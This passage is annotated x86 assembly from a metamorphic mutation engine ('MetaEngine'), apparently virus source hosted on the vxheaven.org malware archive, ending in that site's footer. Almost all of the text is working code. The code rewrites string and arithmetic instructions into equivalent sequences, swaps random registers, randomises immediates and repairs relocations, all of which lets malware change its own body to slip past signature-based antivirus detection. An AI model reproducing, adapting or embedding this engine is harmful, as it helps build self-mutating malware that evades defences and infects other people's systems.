                mov     al, 50h                 ; make PUSH r32
                stosb                           ; store
                jmp     Loadestruction
; ___________________________________________________________________________

MakeMOVSB:                                      ; CODE XREF: MetaEngine+3C2j
                cmp     al, 0A4h                ; MOVSB?
                jnz     short MakeMOVSD
                add     esi, 1                  ; Replace A4 with the following sequence:
                mov     eax, 83068A50h          ; 50            push    eax
                stosd                           ; 8A 06         mov     al, [esi]
                mov     eax, 78801C6h           ; 83 C6 01      add     esi, 1
                stosd                           ; 88 07         mov     [edi], al
                mov     eax, 5801C783h          ; 83 C7 01      add     edi, 1
                stosd                           ; 58            pop     eax
                jmp     Loadestruction
; ___________________________________________________________________________

MakeMOVSD:                                      ; CODE XREF: MetaEngine+3DBj
                cmp     al, 0A5h                ; MOVSD?
                jnz     short MakeSTOSB
                add     esi, 1                  ; Replace A5 with the following sequence:
                mov     eax, 83068B50h          ; 50            push    eax
                stosd                           ; 8B 06         mov     eax, [esi]
                mov     eax, 78904C6h           ; 83 C6 04      add     esi, 4
                stosd                           ; 89 07         mov     [edi], eax
                mov     eax, 5804C783h          ; 83 C7 04      add     edi, 4
                stosd                           ; 58            pop     eax
                jmp     Loadestruction
; ___________________________________________________________________________

MakeSTOSB:                                      ; CODE XREF: MetaEngine+3F9j
                cmp     al, 0AAh                ; STOSB?
                jnz     short MakeSTOSD
                add     esi, 1                  ; Replace AA with the following sequence:
                mov     eax, 0C7830788h         ; 88 07         mov     [edi], al
                stosd                           ; 83 C7 01      add     edi, 1
                mov     al, 1
                stosb
                jmp     Loadestruction
; ___________________________________________________________________________

MakeSTOSD:                                      ; CODE XREF: MetaEngine+417j
                cmp     al, 0ABh                ; STOSD?
                jnz     short MakeLODSB
                add     esi, 1                  ; Replace AB with the following sequence:
                mov     eax, 0C7830789h         ; 88 07         mov     [edi], eax
                stosd                           ; 83 C7 04      add     edi, 4
                mov     al, 4
                stosb
                jmp     Loadestruction
; ___________________________________________________________________________

MakeLODSB:                                      ; CODE XREF: MetaEngine+42Cj
                cmp     al, 0ACh                ; LODSB?
                jnz     short MakeLODSD
                add     esi, 1                  ; Replace AC with the following sequence:
                mov     eax, 0C683068Ah         ; 8A 06         mov     al, [esi]
                stosd                           ; 83 C6 01      add     esi, 1
                mov     al, 1
                stosb
                jmp     Loadestruction
; ___________________________________________________________________________

MakeLODSD:                                      ; CODE XREF: MetaEngine+441j
                cmp     al, 0ADh                ; LODSD?
                jnz     short MakeOpRm8Imm8
                add     esi, 1                  ; Replace AD with the following sequence:
                mov     eax, 0C683068Bh         ; 8B 06         mov     eax, [esi]
                stosd                           ; 83 C6 04      add     esi, 4
                mov     al, 4
                stosb
                jmp     Loadestruction
; ___________________________________________________________________________

MakeOpRm8Imm8:                                  ; CODE XREF: MetaEngine+456j
                cmp     al, 40h                 ; opcode < 40?
                jnb     short MakeTestImm8
                mov     ah, al
                and     ah, 111b                ; save last 3 bits
                cmp     ah, 4                   ; OP AL, imm8?
                jnz     short MakeOpEaxImm32
                mov     al, 80h                 ; Generate OP r/m8, imm8
                                                ; ADC/ADD/AND/CMP/OR/SBB/SUB/XOR
                stosb
                mov     al, [esi]               ; load the same instruction again
                and     al, 111000b             ; keep the [reg/opcode] field
                or      al, 11000000b           ; set [mod] = 11
                stosb                           ; store
                add     esi, 1                  ; increase code pointer
                movsb                           ; copy imm8 byte
                jmp     Loadestruction
; ___________________________________________________________________________

MakeTestImm8:                                   ; CODE XREF: MetaEngine+46Bj
                cmp     al, 0A8h                ; TEST AL, imm8?
                jnz     short MakeOpEaxImm32
                add     esi, 1                  ; incrase code pointer by 1
                mov     al, 0F6h                ; Replace A8 with the following sequence:
                stosb                           ; F6 C0 xx testal, xx
                mov     al, 0C0h
                stosb
                movsb                           ; load and store immediate byte
                jmp     Loadestruction
; ___________________________________________________________________________

MakeOpEaxImm32:                                 ; CODE XREF: MetaEngine+475j
                                                ; MetaEngine+48Cj
                cmp     al, 40h                 ; opcode &lt; 40?
                jnb     short MakeTestEaxImm32
                mov     ah, al                  ; ah = opcode
                and     ah, 111b                ; save last 3 bits
                cmp     ah, 5                   ; OP EAX, imm32?
                jnz     short isOp8Imm8
                mov     al, 81h                 ; Generate OP r/m32, imm32
                                                ; (ADC/ADD/AND/CMP/OR/SBB/SUB/XOR)
                stosb                           ; store
                mov     al, [esi]               ; al = current opcode
                and     al, 111000b             ; keep the [opcode] field
                or      al, 11000000b           ; set [mod] = 11
                stosb                           ; store ModRM byte
                add     esi, 1                  ; increase code pointer
                movsd                           ; copy immediate dword
                jmp     Loadestruction
; ___________________________________________________________________________

MakeTestEaxImm32:                               ; CODE XREF: MetaEngine+49Fj
                cmp     al, 0A9h                ; TEST EAX, imm32?
                jnz     short isOp8Imm8
                add     esi, 1                  ; Replace A8 with the following sequence:
                mov     al, 0F7h                ; F6 0C DD CC BB AA test eax, AABBCCDDh
                stosb
                mov     al, 0C0h
                stosb
                movsd                           ; load and store immediate dword
                jmp     Loadestruction
; ___________________________________________________________________________

isOp8Imm8:                                      ; CODE XREF: MetaEngine+4A9j
                                                ; MetaEngine+4C0j
                mov     ah, al
                and     ah, 11111110b           ; save all bits, but the 'w' bit
                cmp     ah, 80h                 ; OP r/m8,imm8?
                                                ; (ADC/ADD/AND/CMP/OR/SBB/SUB/XOR)
                jz      short SaveOpcodeField
                cmp     ah, 0C6h                ; MOV r/m8, imm8?
                jz      short SaveMovImm8Opcode
                cmp     ah, 0F6h                ; OP r/m8?
                                                ; (DIV/IDIV/IMUL/MUL/NEG/NOT/TEST)
                jnz     short Change8bitTo32bit
                mov     bh, 84h                 ; bh = TEST r/m8, r8
                jmp     short __jmp_Mutate
; ___________________________________________________________________________

SaveOpcodeField:                                ; CODE XREF: MetaEngine+4D9j
                mov     bh, [esi+1]             ; bh = ModRM of 80h
                and     bh, 111000b             ; save [reg/opcode] field
                jmp     short __jmp_Mutate      ; mutate
; ___________________________________________________________________________

SaveMovImm8Opcode:                              ; CODE XREF: MetaEngine+4DEj
                mov     bh, 88h                 ; bh = MOV r/m8, r8

__jmp_Mutate:                                   ; CODE XREF: MetaEngine+4E7j
                                                ; MetaEngine+4EFj
                jmp     Morph4                  ; mutate
; ___________________________________________________________________________

Change8bitTo32bit:                              ; CODE XREF: MetaEngine+4E3j
                cmp     al, 83h                 ; OP r/m32, imm8?
                                                ; (ADC/ADD/AND/CMP/OR/SBB/SUB/XOR)
                jnz     short AbortEngine
                mov     al, 81h                 ; OP r/m32, imm32
                stosb                           ; store
                mov     al, [esi+1]             ; al = ModRM
                stosb                           ; store
                call    CheckDisplacement       ; returns cl: 0, 1 or 4
                add     esi, 2                  ; increase code pointer by 2
                rep movsb                       ; copy displacement
                lodsb                           ; load one byte
                call    InvertSign
                stosd                           ; store dword
                jmp     Loadestruction
; ___________________________________________________________________________

FixRelocations:                                 ; CODE XREF: MetaEngine+43j
                mov     ebx, edi
                sub     ebx, [ebp+outBuf]       ; ebx = size of output buffer
                mov     esi, [ebp+RelocStart]   ; esi = beginning of relocation table

AnalyzeCurrentEntry:                            ; CODE XREF: MetaEngine+52Fj
                                                ; MetaEngine+555j
                add     esi, 10h                ; esi += 16
                cmp     esi, [ebp+RelocCurrent] ; are we finished?
                jz      short ReturnSuccess
                mov     edi, [esi+8]            ; Pointer to offset of New Relative
                cmp     edi, 0                  ; is it blank?
                jz      short AnalyzeCurrentEntry ; process next instruction
                mov     edx, [esi+0Ch]          ; get New Relative Value
                add     edx, [esi]              ; edx = InputIP + NewRelative
                mov     ecx, [ebp+RelocStart]   ; ecx = pointer to disassembled code
                sub     ecx, 10h                ; ecx -= 16 (for inter-loop reasons)

NextEntry:                                      ; CODE XREF: MetaEngine+54Aj
                add     ecx, 10h                ; check next entry
                cmp     ecx, [ebp+RelocCurrent] ; are we done?
                jnz     short LoopOverFirstEntry; no, proceed to loop over 1st field entries
                mov     ecx, [esi]              ; Save the InputIP
                jmp     short ReturnZero
; ___________________________________________________________________________

LoopOverFirstEntry:                             ; CODE XREF: MetaEngine+542j
                cmp     [ecx], edx              ; edx = InputIP + NewRelative
                                                ; *ecx = InputIP
                jnz     short NextEntry
                mov     eax, [ecx+4]            ; eax = OutputIP
                sub     eax, edi                ; eax = OutputIP -
                                                ;       OffsetNewNewRelative
                sub     eax, 4                  ; eax -= 4, due to earlier calculations
                stosd                           ; store NewRelative in OffsetNewRelative
                jmp     short AnalyzeCurrentEntry
; ___________________________________________________________________________

ReturnSuccess:                                  ; CODE XREF: MetaEngine+527j
                mov     eax, ebx                ; eax = size of buffer
                jmp     short FreeMemory
; ___________________________________________________________________________

AbortEngine:                                    ; CODE XREF: MetaEngine+14Bj
                                                ; MetaEngine+154j ...
                mov     ecx, esi                ; ecx = pointer to code

ReturnZero:                                     ; CODE XREF: MetaEngine+546j
                xor     eax, eax                ; eax = 0

FreeMemory:                                     ; CODE XREF: MetaEngine+559j
                push    eax                     ; save return value
                mov     eax, [ebp+RelocStart]   ; eax = start of disassembly buffer
                push    eax
                call    callVirtualFree         ; free memory
                pop     eax                     ; restore return value
                pop     edi
                pop     esi                     ; restore registers
                pop     ebx
                add     esp, 8
                pop     ebp
                nop
                retn    0Ch
MetaEngine      endp


; _______________ S U B R O U T I N E _______________________________________

; returns random eax (0 to 7)

Rnd7            proc near                       ; CODE XREF: MetaEngine+77p
                                                ; MetaEngine:Mutate?p ...
                call    Random
                and     eax, 111b
                cmp     eax, 0
                retn
Rnd7            endp

; ___________________________________________________________________________
; START OF FUNCTION CHUNK FOR MetaEngine

StoreDisplacementPlus2:                         ; CODE XREF: MetaEngine+22Bj
                                                ; MetaEngine+27Aj ...
                call    CheckDisplacement       ; returns cl: 0, 1 or 4
                add     cl, 2                   ; 2 more bytes

StoreBytes:                                     ; CODE XREF: MetaEngine+18Ej
                                                ; MetaEngine+1AEj ...
                and     ecx, 0FFh               ; and the cl bits
                rep movsb                       ; write until cl = 0
                jmp     Loadestruction
; END OF FUNCTION CHUNK FOR MetaEngine

; _______________ S U B R O U T I N E _______________________________________

; returns cl: 0, 1 or 4

CheckDisplacement proc near                     ; CODE XREF: MetaEngine+2CCp
                                                ; MetaEngine+503p ...
                xor     ecx, ecx                ; ecx = 0
                mov     cl, [esi+1]             ; cl = ModRM
                and     cl, 11000000b
                cmp     cl, 0                   ; [mod] == 00?
                jz      short ret_CheckDisplacement
                cmp     cl, 11000000b           ; [mod] == 11?
                jnz     short isMod01
                mov     cl, 0                   ; no displacement
                jmp     short ret_CheckDisplacement
; ___________________________________________________________________________

isMod01:                                        ; CODE XREF: CheckDisplacement+10j
                cmp     cl, 1000000b            ; [mod] == 01?
                jnz     short Mod10
                mov     cl, 1                   ; 1 byte displacement
                jmp     short ret_CheckDisplacement
; ___________________________________________________________________________

Mod10:                                          ; CODE XREF: CheckDisplacement+19j
                mov     cl, 4                   ; 4 bytes displacement

ret_CheckDisplacement:                          ; CODE XREF: CheckDisplacement+Bj
                                                ; CheckDisplacement+14j ...
                retn
CheckDisplacement endp


; _______________ S U B R O U T I N E _______________________________________


InvertSign      proc near                       ; CODE XREF: MetaEngine+126p
                                                ; MetaEngine+3CBp ...
                push    ecx
                xor     ecx, ecx                ; ecx = 0
                cmp     al, 0
                jns     short Dontvert
                sub     ecx, 1

Dontvert:                                       ; CODE XREF: InvertSign+5j
                mov     cl, al
                mov     eax, ecx                ; return value in eax
                pop     ecx
                retn
InvertSign      endp


; _______________ S U B R O U T I N E _______________________________________

; returns a random dword in EAX
; Attributes: bp-based frame

GetRandomDword  proc near                       ; CODE XREF: MetaEngine+B5p
                                                ; MetaEngine+DAp ...
                push    ebp
                mov     ebp, esp
                push    ecx
                push    edx
                call    Random
                mov     edx, eax
                call    Random
                and     al, 11111b
                mov     cl, al
                mov     eax, 0FFFFFF00h
                rol     eax, cl
                and     edx, eax
                call    Random
                and     al, 11111b
                mov     cl, al
                mov     eax, 0FFFFFF00h
                rol     eax, cl
                and     edx, eax
                mov     eax, edx
                pop     edx
                pop     ecx
                pop     ebp
                retn
GetRandomDword  endp

; ___________________________________________________________________________
; START OF FUNCTION CHUNK FOR MetaEngine

Morph1:                                         ; CODE XREF: MetaEngine+249j
                                                ; MetaEngine+298j
                mov     bh, 0                   ; if bh == 0, choose random reg
                call    GetWBit                 ; dl = *esi & 1
                call    GetRandomReg32
                add     al, 50h                 ; Generate PUSH RandomReg
                stosb                           ; store
                mov     al, 89h                 ; Generate MOV r/m32, r32
                stosb                           ; store
                mov     al, [esi+1]             ; al = original ModRM
                and     al, 111b                ; save last 3 bits
                rol     al, 3                   ; place original register in the [reg/opcode] field
                or      al, 11000000b           ; set [mod] = 11
                add     al, bl                  ; set [reg] field = radnom register
                stosb                           ; store
                mov     al, [esi+1]             ; al = original ModRM
                and     al, 10000000b
                cmp     al, 0                   ; if [mod] != 0
                jnz     short GenAddRandomReg32
                mov     cl, [esi+2]             ; cl = imm8
                mov     al, 83h                 ; al = OP r/m32, imm8
                                                ; (ADC/ADD/AND/CMP/OR/SBB/SUB/XOR)
                stosb                           ; store
                mov     al, bl                  ; al = random reg
                or      al, 11000000b           ; set [mod] = 11, [reg/opcode] = ADD
                cmp     cl, 0                   ; check the sign of CL
                js      short GenSubRandomReg8
                stosb                           ; store
                call    Random                  ; get random number
                and     al, 7Fh                 ; set it between 0 - 7F
                stosb                           ; store
                sub     cl, al                  ; cl -= radnom
                jmp     short GenOpRegRandomReg8
; ___________________________________________________________________________

GenSubRandomReg8:                               ; CODE XREF: MetaEngine+633j
                or      al, 101000b             ; set [reg/opcode] field = 101 (SUB)
                stosb                           ; store
                call    Random                  ; get random number
                and     al, 7Fh                 ; set it between 0 - 7F
                stosb                           ; store
                add     cl, al                  ; cl += random

GenOpRegRandomReg8:                             ; CODE XREF: MetaEngine+640j
                movsb                           ; copy original opcode byte
                lodsb                           ; al = ModRM
                and     al, 11111000b           ; save [mod] and [reg/opcode] fields
                add     al, bl                  ; add random register
                stosb                           ; store
                mov     al, cl                  ; al = random number
                stosb                           ; store
                add     esi, 1                  ; increase code counter
                jmp     short GenPopRandomReg
; ___________________________________________________________________________

GenAddRandomReg32:                              ; CODE XREF: MetaEngine+624j
                mov     ecx, [esi+2]            ; ecx = imm32
                mov     al, 81h                 ; al = OP r/m32, imm32
                                                ; (ADC/ADD/AND/CMP/OR/SBB/SUB/XOR)
                stosb                           ; store
                mov     al, bl                  ; al = random register
                or      al, 11000000b           ; set [mod] = 11, [reg/opcode] = ADD
                cmp     ecx, 0                  ; check sign of imm32
                js      short GenSubRandomReg32
                stosb                           ; store
                call    Random                  ; get random number
                and     eax, 7FFh               ; set it between 0 - 77F
                stosd                           ; store dword
                sub     ecx, eax                ; ecx -= random
                jmp     short GenOpRegRandomReg32
; ___________________________________________________________________________

GenSubRandomReg32:                              ; CODE XREF: MetaEngine+66Bj
                or      al, 101000b             ; set [reg/opcode] field = 101 (SUB)
                stosb                           ; store
                call    Random                  ; get random number
                and     eax, 77Fh               ; set it between 0 - 77F
                stosd                           ; store dword
                add     ecx, eax                ; ecx += random

GenOpRegRandomReg32:                            ; CODE XREF: MetaEngine+67Bj
                movsb                           ; copy original opcode byte
                lodsb                           ; al = ModRM
                and     al, 11111000b           ; clear the [reg] field
                add     al, bl                  ; add random reg
                stosb                           ; store
                mov     eax, ecx                ; eax = random dword
                stosd                           ; store dword
                add     esi, 4                  ; incrase code pointer by 4

GenPopRandomReg:                                ; CODE XREF: MetaEngine+65Cj
                mov     al, bl                  ; al = random register
                add     al, 58h                 ; Generate POP RandomReg
                stosb                           ; store
                jmp     Loadestruction
; END OF FUNCTION CHUNK FOR MetaEngine

; _______________ S U B R O U T I N E _______________________________________

; dl = *esi & 1

GetWBit         proc near                       ; CODE XREF: MetaEngine+600p
                                                ; GetRandomReg8p
                mov     dl, [esi]
                and     dl, 1
GetWBit         endp


; _______________ S U B R O U T I N E _______________________________________

; returns: dh(w=1)=FB; dh(w=0)=FF;

ModifyDh        proc near                       ; CODE XREF: MetaEngine+7BCp
                mov     dh, dl                  ; dh = w bit
                xor     dh, 1                   ; inverse
                rol     dh, 2
                xor     dh, 11111111b
                retn
ModifyDh        endp


; _______________ S U B R O U T I N E _______________________________________

; returns: bl = random reg value (0-7)

GetRandomReg8   proc near                       ; CODE XREF: MetaEngine+733p
                                                ; MetaEngine+77Ap ...
                call    GetWBit                 ; dl = *esi & 1
                cmp     dl, 0                   ; is it 8bit?
                jnz     short GetRandomReg32    ; no, go to the 32bit version

GetReg8:                                        ; CODE XREF: GetRandomReg8+24j
                                                ; GetRandomReg8+38j
                call    Random                  ; get random number
                and     al, 111b                ; make it bwtween 0-7
                mov     cl, al                  ; cl = random number
                and     cl, dh
                mov     ch, [esi+1]             ; ch = ModRM
                cmp     ch, 11000000b
                jb      short CheckReg8
                and     ch, dh

CheckReg8:                                      ; CODE XREF: GetRandomReg8+1Bj
                and     ch, 111b                ; keep the last 3 bits
                cmp     cl, ch                  ; the same register?
                jz      short GetReg8           ; get another one
                cmp     bh, 0
                jnz     short ret_RandomReg8
                mov     ch, [esi+1]             ; ch = ModRM
                ror     ch, 3                   ; check the [reg/opcode] field
                and     ch, 111b
                and     ch, dh
                cmp     cl, ch                  ; the same register?
                jz      short GetReg8           ; get another one

ret_RandomReg8:                                 ; CODE XREF: GetRandomReg8+29j
                mov     bl, al                  ; bl = random register
                retn
GetRandomReg8   endp


; _______________ S U B R O U T I N E _______________________________________


GetRandomReg32  proc near                       ; CODE XREF: MetaEngine+605p
                                                ; GetRandomReg8+8j ...
                call    Random                  ; get random number
                and     al, 111b                ; make it between 0-7 (a register)
                cmp     al, 4                   ; ESP?
                jz      short GetRandomReg32    ; avoid
                cmp     al, 5                   ; EBP?
                jz      short GetRandomReg32    ; avoid
                mov     cl, al                  ; cl = random reg
                mov     ch, [esi+1]             ; ch = ModRM
                cmp     ch, 11000000b
                jb      short loc_40270A
                and     cl, dh
                and     ch, dh

loc_40270A:                                     ; CODE XREF: GetRandomReg32+17j
                and     ch, 111b                ; keep last 3 bits
                cmp     cl, ch                  ; is the [reg] field in ModRM == random reg?
                jz      short GetRandomReg32    ; yes, choose another register
                cmp     bh, 0                   ; if (flag) == false
                jnz     short ret_RandomReg32
                mov     cl, al                  ; cl = random reg
                and     cl, dh
                mov     ch, [esi+1]             ; ch = ModRM
                ror     ch, 3
                and     ch, 111b                ; keep last 3 bits
                and     ch, dh
                cmp     cl, ch
                jz      short GetRandomReg32

ret_RandomReg32:                                ; CODE XREF: GetRandomReg32+27j
                mov     bl, al                  ; bl = random reg
                retn
GetRandomReg32  endp

; ___________________________________________________________________________
; START OF FUNCTION CHUNK FOR MetaEngine

Morph2:                                         ; CODE XREF: MetaEngine:jmp_Mutatej
                mov     bh, 0
                call    GetRandomReg8           ; returns: bl = random reg value (0-7)
                call    MakePushRandomReg       ; store (bl & dh) + 50h
                mov     al, 8Ah                 ; Generate MOV r8,r/m8
                add     al, dl                  ; dl = w bit
                stosb                           ; store (8A or 8B)
                mov     al, [esi+1]             ; al = ModRM
                and     al, 111000b             ; save the [reg/opcode] field
                ror     al, 3                   ; move first reg to the [reg] field
                mov     ah, bl                  ; ah = random reg
                rol     ah, 3                   ; move random reg ro the [reg/opcode] field
                add     al, ah                  ; add it
                or      al, 11000000b           ; set [mod] = 11
                stosb                           ; store
                mov     al, [esi]               ; al = original opcode
                stosb                           ; store
                mov     al, [esi+1]             ; al = ModRM
                and     al, 11000111b           ; save [reg/opcode] field
                mov     ah, bl                  ; ah = random reg
                rol     ah, 3                   ; save random reg in the [reg/opcode] field
                add     al, ah                  ; add random reg to ModRM
                stosb                           ; store
                call    CheckDisplacement       ; returns cl: 0, 1 or 4
                add     esi, 2                  ; increase code pointer by 2
                rep movsb                       ; copy displacement
                call    MakePopRandomReg        ; store (bl & dh) + 58h
                jmp     Loadestruction
; ___________________________________________________________________________

Morph3:                                         ; CODE XREF: MetaEngine:_jmp_Mutatej
                mov     bh, 0
                call    GetRandomReg8           ; returns: bl = random reg value (0-7)
                call    MakePushRandomReg       ; store (bl & dh) + 50h
                mov     al, [esi]               ; al = opcode
                and     al, 11111110b           ; clear w bit
                cmp     al, 8Ah                 ; MOV r8, r/m8?
                jz      short Morph3_Continue   ; jump to 8 bit version
                mov     al, 88h                 ; Generate MOV r32, r/m32
                add     al, dl                  ; add the w bit
                stosb                           ; store
                mov     al, [esi+1]             ; al = ModRM
                and     al, 111000b             ; clear the [reg] field
                add     al, bl                  ; add random register
                or      al, 11000000b           ; set [mod] = 11
                stosb                           ; store

Morph3_Continue:                                ; CODE XREF: MetaEngine+78Aj
                mov     al, [esi]               ; al = original opcode
                mov     dh, al                  ; dh = original opcode
                stosb                           ; store
                mov     al, [esi+1]             ; al = ModRM
                and     al, 11000111b           ; clear [reg/opcode] field
                mov     ah, bl                  ; ah = random register
                rol     ah, 3                   ; place it in the [reg/opcode] field
                add     al, ah                  ; add to ModRM
                stosb                           ; store ModRM
                mov     bh, [esi+1]             ; bh = original ModRM
                call    CheckDisplacement       ; returns cl: 0, 1 or 4
                add     esi, 2                  ; increase code counter by 2
                rep movsb                       ; copy displacement
                mov     al, dh                  ; al = opcode
                call    ModifyDh                ; returns: dh(w=1)=FB; dh(w=0)=FF;
                and     al, 11111110b           ; clear w bit
                cmp     al, 3Ah                 ; CMP r8, r/m8?
                jz      short Wrap_Morph3
                mov     al, 8Ah                 ; al = MOV r8, r/m8, direction flag set
                add     al, dl                  ; add the w bit
                stosb                           ; store opcode
                mov     al, bh                  ; al = original ModRM
                and     al, 111000b             ; clear the [reg] field
                add     al, bl                  ; add random register
                or      al, 11000000b           ; set [mod] = 11
                stosb

Wrap_Morph3:                                    ; CODE XREF: MetaEngine+7C5j
                call    MakePopRandomReg        ; store (bl & dh) + 58h
                jmp     Loadestruction
; ___________________________________________________________________________

Morph4:                                         ; CODE XREF: MetaEngine:__jmp_Mutatej
                call    GetRandomReg8           ; returns: bl = random reg value (0-7)
                call    MakePushRandomReg       ; store (bl & dh) + 50h
                mov     al, dl                  ; al = w bit
                rol     al, 3                   ; move the w bit 3 bits left
                add     al, 0B0h                ; Generate MOV r8/32, imm8/32
                                                ; B0 = 1011 w reg
                add     al, bl                  ; add random register
                stosb                           ; store
                call    CheckDisplacement       ; returns cl: 0, 1 or 4
                add     ecx, esi                ; add location+displacement
                mov     eax, [ecx+2]            ; eax = original immediate
                cmp     dl, 0                   ; check the w bit
                jz      short StoreOneByte      ; store one byte
                stosd                           ; store dword
                jmp     short Morph4_Continue
; ___________________________________________________________________________

StoreOneByte:                                   ; CODE XREF: MetaEngine+800j
                stosb                           ; store one byte

Morph4_Continue:                                ; CODE XREF: MetaEngine+803j
                mov     al, bh                  ; bh = opcode saved before call to this routine
                add     al, dl                  ; add the w bit
                stosb                           ; store
                mov     al, [esi+1]             ; al = original ModRM
                and     al, 11000111b           ; clear the [reg/opcode] field
                mov     ah, bl                  ; ah = random reg
                rol     ah, 3                   ; place it in the [reg/opcode] field
                add     al, ah                  ; add to ModRM byte
                stosb                           ; store
                call    CheckDisplacement       ; returns cl: 0, 1 or 4
                add     esi, 2                  ; increase code pointer by 2
                rep movsb                       ; copy displacement
                add     esi, 1                  ; increase code pointer
                cmp     dl, 0                   ; check w bit
                jz      short Wrap_Morph4
                add     esi, 3                  ; increase code pointer by 3

Wrap_Morph4:                                    ; CODE XREF: MetaEngine+828j
                call    MakePopRandomReg        ; store (bl & dh) + 58h
                jmp     Loadestruction
; END OF FUNCTION CHUNK FOR MetaEngine

; _______________ S U B R O U T I N E _______________________________________

; store (bl & dh) + 50h

MakePushRandomReg proc near                     ; CODE XREF: MetaEngine+738p
                                                ; MetaEngine+77Fp ...
                mov     al, bl
                and     al, dh
                add     al, 50h
                stosb
                retn
MakePushRandomReg endp


; _______________ S U B R O U T I N E _______________________________________

; store (bl & dh) + 58h

MakePopRandomReg proc near                      ; CODE XREF: MetaEngine+76Ep
                                                ; MetaEngine:Wrap_Morph3p ...
                mov     al, bl
                and     al, dh
                add     al, 58h
                stosb
                retn
MakePopRandomReg endp
 
[Back to index] [Comments]
By accessing, viewing, downloading or otherwise using this content you agree to be bound by the Terms of Use! vxheaven.org aka vx.netlux.org
deenesitfrplruua